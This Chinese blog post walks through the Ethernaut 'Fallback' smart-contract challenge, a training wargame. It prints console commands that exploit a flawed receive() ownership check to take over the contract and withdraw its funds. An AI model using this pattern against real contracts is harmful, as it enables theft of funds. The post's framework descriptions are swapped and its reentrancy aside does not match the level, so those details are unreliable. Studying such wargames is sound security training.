# 智能合约黑客攻击 Ethernaut: 1.Fallback

By [Leek DEV](https://paragraph.com/@leekdev) · 2023-09-09

---

[Ethernaut](https://ethernaut.openzeppelin.com/) 是一个基于 Web3/Solidity 的对抗游戏，受 [overthewire.org](https://overthewire.org/) 启发, 运行于以太坊虚拟机. 每个关卡是一个需要被 ‘hacked’ 的智能合约。

题目
--

把 Fallback 合约中的 owner改为自己，并且把合约中的余额转走。

Hack思路
------

合约本来应该是想做一个捐款合约，捐钱最多的人拥有这个合约的权限，但是在接收 **Ether** 的 **receive()** 回调方法里验证逻辑不对，可以比较容易跳过检查， 用非常少的钱就用有这个合约的 **Owner** 权限。

    // 1.检查合约owner、余额等信息
    await contract.owner();
    await getBalance(contract.address)
    // 2.发送最低金额以成为捐款人
    await contract.contribute({value: toWei("0.0001")})
    // 3.直接发送给合同 1 wei，这将使我们成为新的所有者
    await sendTransaction({ from: player, to: contract.address , value:1 })
    // 4.现在我们是合同的所有者，撤回所有资金
    await contract.withdraw();
    // 5.通关检查
    await contract.owner();
    await getBalance(contract.address)
    

### 如何完成关卡

*   直接在控制台调用合约方法 - **简单**
    
*   使用 [Remix](https://remix.ethereum.org/) 在浏览器进行开发 - 非常适合新手
    
*   使用 [Foundry](https://github.com/foundry-rs/foundry) [Hardhat](https://hardhat.org/) 等开发框架
    
    *   缺点
        
        *   需要编程基础
            
        *   环境等问题
            
        *   耗时较多
            
    *   优点
        
        *   符合编程类项目迭代
            
        *   支持更加底层的操作
            

Hack案例
------

Defi 刚起来时有很多开发者是 Web2 转 Web3，绝大多数写合约水平都不怎么样，重入漏洞非常多。

防范思路
----

…

参考资料
----

*   [Remix - Ethereum IDE](https://remix.ethereum.org/) - Soldity web IDE 让新手快速开始
    
*   [Foundry](https://github.com/foundry-rs/foundry) - 智能合约开发框架，基于NodeJS, 大型项目必备
    
*   [Hardhat](https://hardhat.org/) 智能合约开发框架，基于Rust, 核心代码基本都是Solidity, 大型项目必备
    
*   [Ethernaut](https://github.com/OpenZeppelin/ethernaut) - 本次游戏的原代码
    
*   [Solidity Docs](https://docs.soliditylang.org/en/latest/contracts.html#special-functions) - Solidity 官方文档

---

*Originally published on [Leek DEV](https://paragraph.com/@leekdev/ethernaut-1-fallback)*
